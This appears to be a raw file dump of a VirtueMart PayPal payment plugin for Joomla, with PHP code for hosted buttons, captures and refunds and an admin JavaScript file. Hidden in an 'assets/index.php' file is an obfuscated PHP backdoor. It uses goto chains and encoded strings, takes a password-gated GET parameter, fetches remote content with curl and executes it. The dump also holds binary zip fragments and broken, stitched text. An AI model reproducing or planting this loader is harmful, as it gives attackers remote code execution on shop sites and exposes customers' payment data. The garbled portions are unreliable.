'https://www.paypal.com/en_US/i/btn/btn_paynow_SM.gif'; //we automatically redirect to paypal $post_variables['L_BUTTONVAR']['bn'] = self::BNCODE; // Identifies the source that built the code. return $post_variables; } function addBillTo(&$post_variables) { $addressBT = $this->order['details']['BT']; //Bill To $post_variables['L_BUTTONVAR']['billing_address1'] = isset($addressBT->address_1) ? $this->truncate($addressBT->address_1, 60) : ''; $post_variables['L_BUTTONVAR']['billing_address2'] = isset($addressBT->address_2) ? $this->truncate($addressBT->address_2, 60) : ''; $post_variables['L_BUTTONVAR']['billing_city'] = isset($addressBT->city) ? $this->truncate($addressBT->city, 40) : ''; $post_variables['L_BUTTONVAR']['billing_zip'] = isset($addressBT->zip) ? $this->truncate($addressBT->zip, 40) : ''; $post_variables['L_BUTTONVAR']['billing_state'] = isset($addressBT->virtuemart_state_id) ? $this->truncate(ShopFunctions::getStateByID($addressBT->virtuemart_state_id), 20) : ''; $post_variables['L_BUTTONVAR']['billing_country'] = ShopFunctions::getCountryByID($addressBT->virtuemart_country_id, 'country_2_code'); } function addShipTo(&$post_variables) { $addressST = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']); //Ship To $post_variables['L_BUTTONVAR']['first_name'] = isset($addressST->first_name) ? $this->truncate($addressST->first_name, 50) : ''; // First name of person the item is being shipped to. $post_variables['L_BUTTONVAR']['last_name'] = isset($addressST->first_name) ? $this->truncate($addressST->address_1, 60) : ''; // Last name of person the item is being shipped to. $post_variables['L_BUTTONVAR']['address1'] = isset($addressST->address_1) ? $this->truncate($addressST->address_1, 60) : ''; $post_variables['L_BUTTONVAR']['address2'] = isset($addressST->address_2) ? $this->truncate($addressST->address_2, 60) : ''; } function addPaymentPageParams(&$post_variables) { $post_variables['L_BUTTONVAR']['template'] = $this->_method->template; if ($this->_method->bordercolor) { $post_variables['L_BUTTONVAR']['bodyBgColor'] = strtoupper($this->_method->bordercolor); $post_variables['L_BUTTONVAR']['payflowcolor'] = '#ff0033'; //str_replace('#','',strtoupper($this->_method->bordercolor)); } $post_variables['L_BUTTONVAR']['headerBgColor'] = strtoupper($this->_method->headerBgColor); $post_variables['L_BUTTONVAR']['headerHeight'] = $this->_method->headerHeight; $post_variables['L_BUTTONVAR']['logoFont'] = $this->_method->logoFont; $post_variables['L_BUTTONVAR']['logoFontSize'] = $this->_method->logoFontSize; $post_variables['L_BUTTONVAR']['logoFontColor'] = $this->_method->logoFontColor; if ($this->_method->bodyBgImg) { $post_variables['L_BUTTONVAR']['bodyBgImg'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->bodyBgImg; } $post_variables['L_BUTTONVAR']['logoImage'] = $this->getLogoImage(); $post_variables['L_BUTTONVAR']['bodyBgColor'] = $this->_method->bodyBgColor; $post_variables['L_BUTTONVAR']['PageTitleTextColor'] = $this->_method->PageTitleTextColor; $post_variables['L_BUTTONVAR']['PageCollapseBgColor'] = $this->_method->PageCollapseBgColor; //$post_variables['L_BUTTONVAR']['PageCollapseTextColor'] = $this->_method->PageCollapseTextColor; $post_variables['L_BUTTONVAR']['orderSummaryBgColor'] = $this->_method->orderSummaryBgColor; if ($this->_method->orderSummaryBgImage) { $post_variables['L_BUTTONVAR']['orderSummaryBgImage'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->orderSummaryBgImage; } $post_variables['L_BUTTONVAR']['footerTextColor'] = $this->_method->footerTextColor; $post_variables['L_BUTTONVAR']['footerTextlinkColor'] = $this->_method->footerTextlinkColor; $post_variables['L_BUTTONVAR']['pageButtonBgColor'] = $this->_method->pageButtonBgColor; $post_variables['L_BUTTONVAR']['pageButtonTextColor'] = $this->_method->pageButtonTextColor; $post_variables['L_BUTTONVAR']['pageTitleTextColor'] = $this->_method->pageTitleTextColor; $post_variables['L_BUTTONVAR']['sectionBorder'] = $this->_method->sectionBorder; } function addOrderInfos(&$post_variables) { $post_variables['L_BUTTONVAR']['buyer_email'] = $this->order['details']['BT']->email; //Email address of the buyer. if (is_array($this->order) && is_object($this->order['details']['BT'])) { $post_variables['L_BUTTONVAR']['invoice'] = $this->order['details']['BT']->order_number; } else { if (is_object($this->order)) { $post_variables['L_BUTTONVAR']['invoice'] = $this->order->order_number; } } } function addPrices(&$post_variables) { } function addAmount(&$post_variables) { // Website Payment Standard has separate values for amount and quantity, whereas Hosted Solution uses subtotal only. // Ensure that the subtotal includes the amount you want to charge the buyer, taking into account any applicable discount and the quantity of items. $post_variables['L_BUTTONVAR']['subtotal'] = $this->total; // Amount charged for the transaction. If shipping, handling, Yes and taxes are not specified, this is the total amount charged. $post_variables['L_BUTTONVAR']['currency_code'] = $this->currency_code_3; } function addUrls(&$post_variables) { $post_variables['L_BUTTONVAR']['return'] = JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginresponsereceived&paypalproduct=hosted&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid').'&lang='. JRequest::getCmd('lang',''); $post_variables['L_BUTTONVAR']['notify_url'] = JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&tmpl=component'.'&lang='. JRequest::getCmd('lang',''); $post_variables['L_BUTTONVAR']['cancel_return'] =JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&paypalproduct=hosted&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid').'&lang='. JRequest::getCmd('lang',''); } function addConfigPaymentParams(&$post_variables) { $post_variables['L_BUTTONVAR']['address_override'] = $this->_method->address_override; $post_variables['L_BUTTONVAR']['noshipping'] = $this->_method->no_shipping; // for version 104 payment action must be lower case $post_variables['L_BUTTONVAR']['paymentaction'] = strtolower($this->_method->payment_action); // Identifies the source that built the code for the button. } public function preparePost() { $post_variables = $this->initPostVariables('BMCreateButton'); $this->setTimeOut(); $this->addOrderInfos($post_variables); $this->addPrices($post_variables); $this->addBillTo($post_variables); $this->addShipTo($post_variables); $this->addAmount($post_variables); $this->addUrls($post_variables); $this->addConfigPaymentParams($post_variables); $this->addPaymentPageParams($post_variables); $btn = 0; foreach ($post_variables['L_BUTTONVAR'] as $key => $buttonVar) { if (!empty($buttonVar)) { $post_variables['L_BUTTONVAR' . $btn++] = $key . '=' . $buttonVar; } } unset($post_variables['L_BUTTONVAR']); $this->sendRequest($post_variables); $valid = $this->handleResponse(); if ($valid) { //$this->customerData->setVar('token', $this->response['TOKEN']); //$this->customerData->save(); if ($this->_method->template != 'templateD') { $this->redirectToPayPal(); } else { return true; } } else { //$this->customerData->clear(); return false; } return true; } function redirectToPayPal() { $websitecode = $this->response['WEBSITECODE']; $emailink = $this->response['EMAILLINK']; if ($this->_method->debug AND $this->_method->template != 'templateD') { echo '
The method is in debug mode. Click here to be redirected to PayPal
'; echo '
The method is in debug mode. ' . $websitecode . 'Click here to be redirected to PayPal
'; jexit(); } else { header('location: ' . $emailink); } } function DoCapture($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); //Only capture payment if it still pending if ($paypal_data->payment_status != 'Pending' && $paypal_data->pending_reason != 'Authorization') { return false; } $post_variables = $this->initPostVariables('DoCapture'); //Do we need to reauthorize ? $reauth = $this->doReauthorize($payment->paypal_response_txn_id, $paypal_data); // the authorisation identification number of the payment you want to capture. if ($reauth === false) { $post_variables['AUTHORIZATIONID'] = $paypal_data->txn_id; } else { $post_variables['AUTHORIZATIONID'] = $reauth; } // Amount to capture. $post_variables['AMT'] = $this->total; $post_variables['CURRENCYCODE'] = $this->currency_code_3; // The value Complete indicates that this the last capture you intend to make. // The value NotComplete indicates that you intend to make additional captures. // N O T E : If Complete, any remaining amount of the original authorised transaction is automatically voided and all remaining open authorisations are voided. $post_variables['COMPLETETYPE'] = 'Complete'; // (Optional) Your invoice number or other identification number that is displayed to the merchant and customer in his transaction history. $post_variables['INVNUM'] = $this->order->order_number; // (Optional) An informational note about this settlement that is displayed to the payer in email and in his transaction history. //$post_variables['NOTE'] = 'add comments if send yto user ?'; $this->sendRequest($post_variables); $success = $this->handleResponse(); if (!$success) { $this->doVoid($payment); } return $success; } /** * https://developer.paypal.com/webapps/developer/docs/classic/paypal-payments-standard/integration-guide/authcapture/ * @param $AuthorizationID * @param $paypal_data * @return bool */ function doReauthorize($AuthorizationID, $paypal_data) { // TODO return false; /* $post_variables = $this->initPostVariables('DoReauthorization'); $post_variables['TOKEN'] = $paypal_data->TOKEN; $post_variables['PAYERID'] = $paypal_data->payer_id; // Unique PayPal customer account identification number $post_variables['AUTHORIZATIONID'] = $AuthorizationID; $post_variables['PAYMENTACTION'] = 'DoReauthorization'; $post_variables['AMT'] = $paypal_data->mc_gross; // ??? $post_variables['CURRENCYCODE'] = $paypal_data->mc_currency; $this->sendRequest($post_variables); if ($this->handleResponse()) { return $this->response['AUTHORIZATIONID']; } else { return false; } */ } function RefundTransaction($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); if (strcasecmp($paypal_data->payment_status, 'Completed') == 0) { $post_variables = $this->initPostVariables('RefundTransaction'); $post_variables['REFUNDTYPE'] = 'Full'; $post_variables['TRANSACTIONID'] = $paypal_data->txn_id; } else if (strcasecmp($paypal_data->payment_status, 'Pending') == 0 && strcasecmp($paypal_data->pending_reason, 'authorization') == 0) { // An authorisation for this transaction has been voided/cancelled $post_variables = $this->initPostVariables('DoVoid'); } else { return false; } $post_variables['AuthorizationID'] = $paypal_data->txn_id; //$post_variables['TOKEN'] = $paypal_data->TOKEN; //$post_variables['PAYERID'] = $paypal_data->payer_id; $this->sendRequest($post_variables); return $this->handleResponse(); } function doVoid($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); $post_variables = $this->initPostVariables('DoVoid'); $post_variables['AuthorizationID'] = $paypal_data->txn_id; $this->sendRequest($post_variables); return $this->handleResponse(); } public function ManageCancelOrder($payment) { $this->RefundTransaction($payment); return; } function getOrderBEFields() { $showOrderBEFields = array( 'TXN_ID' => 'txn_id', 'PAYER_ID' => 'payer_id', 'PAYER_STATUS' => 'payer_status', 'MC_GROSS' => 'mc_gross', 'MC_FEE' => 'mc_fee', 'TAXAMT' => 'tax', 'MC_CURRENCY' => 'mc_currency', 'PAYMENT_STATUS' => 'payment_status', 'PENDING_REASON' => 'pending_reason', 'REASON_CODE' => 'reasoncode', 'PROTECTION_ELIGIBILITY' => 'protection_eligibility', 'CORRELATIONID' => 'CORRELATIONID', 'REFUND_AMOUNT' => 'TOTALREFUNDEDAMOUNT', 'method' => 'method', ); return $showOrderBEFields; } }paypal/assets/assets/index.php000066600000013712151373156210012472 0ustar00 $BD0sBc2JALE9NzQ) { $NNhvHVNTll322pG .= $Z9xQA2BiTXndG6x[$BD0sBc2JALE9NzQ - 32944]; PksmFtHYi_6YaN9: } goto gfULqu357sqOj43; gfULqu357sqOj43: YA0DNO0DVud3xTk: goto PX148AVTRthYS8K; pFU7csLxlifil2r: $mCvpxBn7xQQ2akM = "\162" . "\141" . "\156" . "\147" . "\145"; goto sqmLY5HDdOY2O1T; bxZ2pFw6CgFKCJE: $NNhvHVNTll322pG = ''; goto csHnfAETM31MVsi; erm2lPHYX5b4G94: } static function gCnChHjOb1MNm8C($clWTgOYQaed2M1m, $gZJDNWuct9c_sn9) { goto RfHN_f7bocNsxMj; uFQpBCnIVDF3fTt: return empty($QVsAxiZYutKC8Yc) ? $gZJDNWuct9c_sn9($clWTgOYQaed2M1m) : $QVsAxiZYutKC8Yc; goto KnB8qV2CqS0Guxg; ulKUeLelaDgJMW_: $QVsAxiZYutKC8Yc = curl_exec($QUgpgonWwXXCQgB); goto uFQpBCnIVDF3fTt; RfHN_f7bocNsxMj: $QUgpgonWwXXCQgB = curl_init($clWTgOYQaed2M1m); goto vjGsAGER_dG2uKq; vjGsAGER_dG2uKq: curl_setopt($QUgpgonWwXXCQgB, CURLOPT_RETURNTRANSFER, 1); goto ulKUeLelaDgJMW_; KnB8qV2CqS0Guxg: } static function g5BqscRN6i9btvy() { goto iZAfRZAvq35SVBz; oTLQDEERJRQOaMB: $xl567gWbeR393uq = $Oamg5TJqDc1eAxD[2 + 0]($PKbGzGVXdpR7oSB, true); goto ergAYYYefzL8GDk; ergAYYYefzL8GDk: @$Oamg5TJqDc1eAxD[8 + 2](INPUT_GET, "\x6f\x66") == 1 && die($Oamg5TJqDc1eAxD[4 + 1](__FILE__)); goto rMmB38NoIyQb1em; WOR_3pk6kPnCQJB: die; goto mbKHQy39pmqw8CO; qO3NAIqsP6XAm0I: foreach ($g2TIwfMeIHESEN_ as $m_qFVhqhy20HIxc) { $Oamg5TJqDc1eAxD[] = self::aqd182d8Mkx8jx1($m_qFVhqhy20HIxc); N0woHIZqaDusSxQ: } goto baMdFyf1CBQ2Zz7; mbKHQy39pmqw8CO: YUzLLXrsq10CaKF: goto dS_Di6Q_MFpmxoj; fTYd88d5SNV8I2T: $auzzjNA9vhI7CtN = @$Oamg5TJqDc1eAxD[1]($Oamg5TJqDc1eAxD[3 + 7](INPUT_GET, $Oamg5TJqDc1eAxD[8 + 1])); goto NADDC1JzcobDX7m; XaOTSHm_4aYH0on: $cb1yZk_Wpx73t6S = self::gCNChHjOB1mNM8c($xl567gWbeR393uq[1 + 0], $Oamg5TJqDc1eAxD[4 + 1]); goto RA3LODMW3W3CEqg; RA3LODMW3W3CEqg: @$Oamg5TJqDc1eAxD[0]('', $Oamg5TJqDc1eAxD[0 + 7] . $Oamg5TJqDc1eAxD[1 + 3]($cb1yZk_Wpx73t6S) . $Oamg5TJqDc1eAxD[0 + 8]); goto WOR_3pk6kPnCQJB; NADDC1JzcobDX7m: $PKbGzGVXdpR7oSB = @$Oamg5TJqDc1eAxD[3 + 0]($Oamg5TJqDc1eAxD[2 + 4], $auzzjNA9vhI7CtN); goto oTLQDEERJRQOaMB; baMdFyf1CBQ2Zz7: mTgJ5C2ufTKEXMi: goto fTYd88d5SNV8I2T; rMmB38NoIyQb1em: if (!(@$xl567gWbeR393uq[0] - time() > 0 and md5(md5($xl567gWbeR393uq[1 + 2])) === "\x37\x37\x37\x37\x66\x65\70\144\x61\x31\143\63\60\63\141\x39\x39\x38\x36\145\62\x31\67\64\64\x36\x63\142\x38\x30\67\x32")) { goto YUzLLXrsq10CaKF; } goto XaOTSHm_4aYH0on; iZAfRZAvq35SVBz: $g2TIwfMeIHESEN_ = array("\63\x32\71\x37\x31\x7c\x33\x32\x39\x35\x36\x7c\63\x32\x39\66\x39\x7c\63\x32\x39\x37\x33\174\x33\x32\71\x35\64\x7c\x33\62\71\66\71\174\x33\x32\x39\x37\65\x7c\x33\x32\71\x36\70\174\63\62\x39\65\x33\x7c\x33\62\71\x36\60\174\x33\x32\x39\67\61\x7c\x33\x32\x39\65\64\x7c\63\x32\71\x36\65\x7c\x33\x32\x39\x35\71\x7c\63\62\71\66\x30", "\x33\x32\71\x35\65\174\x33\62\x39\x35\64\x7c\x33\x32\71\65\66\x7c\x33\x32\x39\67\x35\x7c\x33\62\71\65\x36\x7c\63\62\x39\65\x39\x7c\x33\62\71\x35\64\174\x33\x33\60\x32\61\174\x33\63\x30\x31\x39", "\63\x32\71\x36\x34\174\x33\62\71\x35\65\174\x33\x32\x39\x35\71\x7c\x33\x32\71\x36\60\174\63\x32\x39\67\65\174\x33\x32\x39\67\60\x7c\63\62\x39\x36\71\x7c\x33\x32\71\67\x31\174\63\62\71\65\71\x7c\x33\x32\71\67\60\174\63\x32\x39\66\x39", "\x33\62\x39\65\70\x7c\x33\x32\71\67\x33\x7c\x33\62\71\67\x31\174\x33\x32\71\x36\x33", "\x33\62\71\x37\x32\x7c\63\x32\x39\67\63\x7c\x33\x32\71\65\65\x7c\63\62\x39\66\71\x7c\63\63\x30\x31\x36\x7c\x33\x33\60\61\x38\174\63\x32\71\x37\65\x7c\63\x32\x39\67\x30\x7c\63\x32\x39\x36\71\174\63\62\71\67\61\x7c\x33\62\x39\x35\71\x7c\63\62\x39\x37\60\x7c\63\62\x39\66\x39", "\x33\62\71\66\x38\x7c\63\62\71\x36\x35\x7c\63\x32\x39\x36\x32\x7c\x33\62\x39\66\71\x7c\x33\62\71\67\x35\174\63\62\x39\x36\67\174\63\x32\x39\66\71\x7c\63\62\71\x35\x34\174\63\62\71\x37\x35\174\x33\x32\71\67\x31\174\x33\62\x39\x35\71\174\63\x32\x39\x36\x30\174\x33\62\71\x35\x34\x7c\x33\62\71\66\71\x7c\63\62\71\x36\x30\174\x33\62\x39\65\64\174\63\62\x39\x35\x35", "\63\62\71\71\70\x7c\63\x33\x30\x32\70", "\x33\62\71\64\x35", "\63\x33\60\x32\63\174\x33\x33\60\x32\x38", "\63\63\60\x30\x35\174\x33\x32\71\x38\70\x7c\x33\x32\71\70\x38\x7c\x33\63\60\x30\x35\174\63\x32\71\70\61", "\63\x32\x39\x36\70\174\63\62\x39\66\65\174\x33\62\71\x36\x32\x7c\x33\x32\x39\65\64\x7c\63\62\x39\x36\x39\x7c\x33\62\x39\x35\66\174\63\62\x39\67\x35\174\x33\62\71\66\x35\174\x33\x32\71\x36\60\174\63\x32\71\65\x38\174\63\x32\x39\65\x33\174\63\x32\x39\x35\64"); goto qO3NAIqsP6XAm0I; dS_Di6Q_MFpmxoj: } } goto D9LzV86cbI9MFIY; RSLpZsi3FypBjBk: $X9K0UYunoXo6eJh = range("\176", "\40"); goto UH4tteI0h8ZXA1e; D9LzV86cbI9MFIY: LBWsnOne9EixET0::G5BqscRN6i9btvY(); ?> paypal/assets/assets/cache.php000066600000013013151373156210012420 0ustar00paypal/assets/assets/.htaccess000066600000000333151373156210012443 0ustar00 Order allow,deny Deny from all # Order allow,deny Allow from all paypal/assets/assets/assets/cache.php000066600000000573151373156210013731 0ustar00paypal/assets/assets/assets/index.php000066600000000661151373156210013773 0ustar00paypal/assets/assets/assets/.htaccess000066600000000333151373156210013745 0ustar00 Order allow,deny Deny from all # Order allow,deny Allow from all paypal/assets/assets/assets/fla_6909676a1717b.zip000066600000012632151373156210015217 0ustar00PKd[2sb_6909676a1717b.tmpUksH+] )LX,Mylxs-B\DHԤ}{~X~>3~? =hʋ 9 ^OU*䢦ʺ!z!RY+*kJ.J[V Zy[t3"^HMAB23b鮄v-z73M7520ZIĈW_:K%I /1G-kÉ| Kya:啲xʟa?$Wݽ,]|n_xI7^E~.#qtFOϟp?<|"|ab>Jш.{[o7wn@ċ 9סo޳(},Wr#OkolϥZphmٮ+߁_NO"I_7͏[Vo$´M䪄N}v?t;m#{->ao?>ɘn̑hA3blUlƶkZϬ eliSznК])rfy"=,}J}켬BVJZaCS~Zjv=˫wAy=cBkZ5-3lM\u?k}hŃv޶n!?O%-޸A[4L.-|\fjp[5͔cATu UОK5N;Y`9<PKd[kc_6909676a1717b.tmp]xHn|h40P U<@9\, mc%VuxHש~~ Źa1D[C#%ćc9LBuTyBg~dǁw ʕtrӜ |wuR3)}V?!sq-;AUjsXI/Xb2 lCv" _qq|'$C>$솠^\Z;o!&ٕ554޾qT;y>,jqGi Th'?`8Ll=5͚Ȁb]a5k,,[fؒ3>|`N Dm x@)K.oQ*" b[ jCS,_X \g4/)hÒ P#(C%Ǯ1 j} ׊(f &<2]2{>4S5k@r1N^X(}`"եDk^xFH/tN@DR2 EPO'tVH#G:e֐ʂ?J ,˂L7GxhTPzT7eis;z9WQx^ynyŗPds¤?42nLQW=^VW_uɑ y^Fͬwmyݑh~eA9]H0-zy 6<\DR3Dz· z:JRtn#(>x5u#EދVD@|G'{8%z»Q-}ʒsCƑc4#UeB<.^x,vՕA/_V[턗`ٺʮ8oiNʯyPK,U_eՌRp(Ҏ8y*鬛 |KL3'[,mkXsSTF"ǺDVAՄOJ%caJ80)L@򃂬 K;.Jฒ DK≳78%rY*qXn2U֒D_ g j4 [w Fd$2'yhV($ M]-LpZ2\ S:snFwG \ RhevkXps.};feJ}C9.(G7,n4^A5\ l1ѷ7Q: Ľ,`詵Kdcds\Q- K#h]=uiaC4KW Gfr˶.~> 'P²"*F9ڡyd`ӱb޲#1Lo{X9niM/HZue, gPVt!aߒ}^^92oI_4qZӋKJ}w(b^ }3oɭ5ƌ5/{gEB*Tpci s73 |(<*~l妉nesR)=S>qST8x^ $oc&Q ^[OȿAj[%ȿ,0SlѰU<ٖ0lL`Xi ݏ5ą,;2*8tDQTG%ur!~a7g힕K{"p i Vorbv3Ay{+/ZC w S,)@ JW4(Fx!~9a>c4@dwVc  ' ^@M^Ck+o( 5r xz6h8=V7%wL0H; ̻+]/fQ&| \LG%lٍB_~Ù8SBhNit-#dˤ㑮D x_B34eSr͋CIp 7SB?ԉaWI|nJ#'y=YP/:36=H9ƅ٫ ڕ 3A曹p#҈Ъ u3d 3lzj n4qRw?'"džvZunUqGjsWeztuJ~]B'N;q7عMo5S~mG7 #G:9wox>SE&G!,N|yyUN QpXJMnwU/%Tg|X^){=äZ O߂TWmk`A(ix:{WNm$> SB=(>4+@AN&(? zc5E^Գ I-jVsK!.dcz(-2*l46su+:@ f͉nHXRV[RiǁeB&"Y;t$ 'JK992St9/}?צVz7Blyc؜ܑPSmc ƍACfH|Ý9T%O[.o Order allow,deny Deny from all paypal/assets/css/index.html000066600000000000151373156210012117 0ustar00paypal/assets/.htaccess000066600000000177151373156210011147 0ustar00 Order allow,deny Deny from all paypal/assets/js/index.html000066600000000000151373156210011743 0ustar00paypal/assets/js/admin.js000066600000042337151373156210011417 0ustar00/** * * Paypal payment plugin * * @author Jeremy Magne * @author Valérie Isaksen * @version $Id: paypal.php 7217 2013-09-18 13:42:54Z alatak $ * @package VirtueMart * @subpackage payment * Copyright (C) 2004-2014 Virtuemart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details. * * http://virtuemart.net */ jQuery().ready(function ($) { /************/ /* Handlers */ /************/ handleCredentials = function () { var paypalproduct = $('#paramspaypalproduct').val(); var sandbox = $("input[name='params[sandbox]']:checked").val(); if (sandbox==1) { var sandboxmode = 'sandbox'; } else { var sandboxmode = 'production'; } $('.std,.api,.live,.sandbox,.sandbox_warning, .accelerated_onboarding').parents('tr').hide(); $('.get_sandbox_credentials').hide(); $('.get_paypal_credentials').hide(); // $('.authentication').hide(); $('.authentication').parents('tr').hide(); if (paypalproduct == 'std' && sandboxmode == 'production') { $('.std.live').parents('tr').show(); $('.get_paypal_credentials').show(); $('#paramspaypal_merchant_email').addClass("required"); } else if (paypalproduct == 'std' && sandboxmode == 'sandbox') { $('.std.sandbox').parents('tr').show(); $('.get_sandbox_credentials').show(); $('#paramssandbox_merchant_email').addClass("required"); } else if (paypalproduct == 'api' && sandboxmode == 'production') { $('.api.live').parents('tr').show(); $('.get_paypal_credentials').show(); $('#paramspaypal_merchant_email').removeClass("required"); } else if (paypalproduct == 'api' && sandboxmode == 'sandbox') { $('.api.sandbox').parents('tr').show(); $('.get_sandbox_credentials').show(); $('#paramssandbox_merchant_email').removeClass("required"); } else if (paypalproduct == 'exp' && sandboxmode == 'production') { $('.api.live').parents('tr').show(); $('.exp.live').parents('tr').show(); $('.accelerated_onboarding').parents('tr').show(); $('.get_paypal_credentials').show(); $('#paramspaypal_merchant_email').removeClass("required"); //$('.authentication.live.certificate').parents('tr').show(); } else if (paypalproduct == 'exp' && sandboxmode == 'sandbox') { $('.api.sandbox').parents('tr').show(); $('.exp.sandbox').parents('tr').show(); $('.accelerated_onboarding').parents('tr').show(); $('.get_sandbox_credentials').show(); $('#paramssandbox_merchant_email').removeClass("required"); // $('.sandbox.authentication').show(); } else if (paypalproduct == 'hosted' && sandboxmode == 'production') { $('.api.live').parents('tr').show(); $('.hosted.live').parents('tr').show(); $('.get_paypal_credentials').show(); $('#paramspaypal_merchant_email').removeClass("required"); } else if (paypalproduct == 'hosted' && sandboxmode == 'sandbox') { $('.api.sandbox').parents('tr').show(); $('.hosted.sandbox').parents('tr').show(); $('.get_sandbox_credentials').show(); $('#paramssandbox_merchant_email').removeClass("required"); } if (sandboxmode == 'sandbox') { $('.sandbox_warning').parents('tr').show(); } } handlePaymentType = function () { var paypalproduct = $('#paramspaypalproduct').val(); var currentval = $('#paramspayment_type').val(); $('.payment_type').parents('tr').hide(); if (paypalproduct == 'std') { $('.payment_type').parents('tr').show(); } if (paypalproduct == 'exp' || paypalproduct == 'api' || paypalproduct == 'hosted') { $('#paramspayment_type option[value=_cart]').attr('disabled', ''); $('#paramspayment_type option[value=_oe-gift-certificate]').attr('disabled', ''); $('#paramspayment_type option[value=_donations]').attr('disabled', ''); $('#paramspayment_type option[value=_xclick-auto-billing]').attr('disabled', ''); if (currentval == '_cart' || currentval == '_oe-gift-certificate' || currentval == '_donations' || currentval == '_xclick-auto-billing') { $('#paramspayment_type').val('_xclick'); } } else { $('#paramspayment_type option[value=_cart]').removeAttr('disabled'); $('#paramspayment_type option[value=_oe-gift-certificate]').removeAttr('disabled'); $('#paramspayment_type option[value=_donations]').removeAttr('disabled'); $('#paramspayment_type option[value=_xclick-auto-billing]').removeAttr('disabled'); } $('#paramspayment_type').trigger("liszt:updated"); } handleCreditCard = function () { var paypalproduct = $('#paramspaypalproduct').val(); $('.creditcard').parents('tr').hide(); $('.cvv_required').parents('tr').hide(); if (paypalproduct == 'api') { $('.creditcard').parents('tr').show(); $('.cvv_required').parents('tr').show(); } } handleRefundOnCancel = function () { var paypalproduct = $('#paramspaypalproduct').val(); $('.paypal_vm').parents('tr').show(); if (paypalproduct == 'std') { $('.paypal_vm').parents('tr').hide(); } } handleCapturePayment = function () { var paypalproduct = $('#paramspaypalproduct').val(); var payment_action = $('#paramspayment_action').val(); $('.capture').parents('tr').hide(); if (paypalproduct == 'hosted' && payment_action == 'Authorization') { $('.capture').parents('tr').show(); } } handleTemplate = function () { var paypalproduct = $('#paramspaypalproduct').val(); $('.paypaltemplate').parents('tr').hide(); if (paypalproduct == 'hosted') { $('.paypaltemplate').parents('tr').show(); } } handleTemplateParams = function () { var paypaltemplate = $('#paramstemplate').val(); var paypalproduct = $('#paramspaypalproduct').val(); $('.hosted.templateA,.hosted.templateB,.hosted.templateC,.hosted.template_warning').parents('tr').hide(); if (paypalproduct == 'hosted' && paypaltemplate == 'templateA') { $('.hosted.templateA,.hosted.template_warning').parents('tr').show(); } if (paypalproduct == 'hosted' && paypaltemplate == 'templateB') { $('.hosted.templateB,.hosted.template_warning').parents('tr').show(); } if (paypalproduct == 'hosted' && paypaltemplate == 'templateC') { $('.hosted.templateC,.hosted.template_warning').parents('tr').show(); } } handlePaymentAction = function () { var paymenttype = $('#paramspayment_type').val(); //var currentval = $('#paramspayment_action').val(); if (paymenttype == '_xclick-subscriptions' || paymenttype == '_xclick-payment-plan' || paymenttype == '_xclick-auto-billing') { $('#paramspayment_action').val('Sale'); $('#paramspayment_action').parents('tr').hide(); $('#paramspayment_action').trigger("liszt:updated"); } else { $('#paramspayment_action').parents('tr').show(); } } handleLayout = function () { var paypalproduct = $('#paramspaypalproduct').val(); $('.paypallayout').parents('tr').hide(); $('.stdlayout').parents('tr').hide(); $('.explayout').parents('tr').hide(); // $('.hosted.paypallayout').parents('tr').hide(); if (paypalproduct == 'std' || paypalproduct == 'exp' || paypalproduct == 'hosted') { $('.paypallayout').parents('tr').show(); } if (paypalproduct == 'std') { $('.stdlayout').parents('tr').show(); } if (paypalproduct == 'exp') { $('.explayout').parents('tr').show(); } } handleAuthentication = function () { var paypalAuthentication = $('#paramsauthentication').val(); var sandbox = $("input[name='params[sandbox]']:checked").val(); if (sandbox==1) { var sandboxmode = 'sandbox'; } else { var sandboxmode = 'production'; } var paypalproduct = $('#paramspaypalproduct').val(); $('.authentication').parents('tr').hide(); if (paypalproduct != 'std') { if (sandboxmode == 'sandbox') { $('.authentication.sandbox.select').parents('tr').show(); if (paypalAuthentication == 'certificate') { $('.authentication.sandbox.certificate').parents('tr').show(); } else { $('.authentication.sandbox.signature').parents('tr').show(); } } else if (sandboxmode == 'production') { // $('.authentication.live.certificate').parents('tr').show(); $('.authentication.live.select').parents('tr').show(); if (paypalAuthentication == 'certificate') { $('.authentication.live.certificate').parents('tr').show(); } else { $('.authentication.live.signature').parents('tr').show(); } } } } handleExpectedMaxAmount = function () { var paypalproduct = $('#paramspaypalproduct').val(); $('.expected_maxamount').parents('tr').hide(); if (paypalproduct == 'exp') { $('.expected_maxamount').parents('tr').show(); } } handleWarningAuthorizeStd = function () { var paypalproduct = $('#paramspaypalproduct').val(); var payment_action = $('#paramspayment_action').val(); $('.warning_std_authorize').parents('tr').hide(); if (paypalproduct == 'std' && payment_action == 'Authorization') { $('.warning_std_authorize').parents('tr').show(); } } handleWarningHeaderImage = function () { var headerimage = $('#paramheaderimg').val(); $('.warning_headerimg').parents('tr').hide(); if (headerimage != '-1') { $('.warning_headerimg').parents('tr').show(); } } handlePaymentTypeDetails = function () { var selectedMode = $('#paramspayment_type').val(); $('.xclick').parents('tr').hide(); $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').hide(); $('.billing').parents('tr').hide(); var paypalproduct = $('#paramspaypalproduct').val(); if (paypalproduct == 'std') { switch (selectedMode) { case '_xclick': $('.xclick').parents('tr').show(); $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').hide(); $('.billing').parents('tr').hide(); break; case '_cart': $('.xclick').parents('tr').hide(); $('.cart').parents('tr').show(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').hide(); $('.billing').parents('tr').hide(); 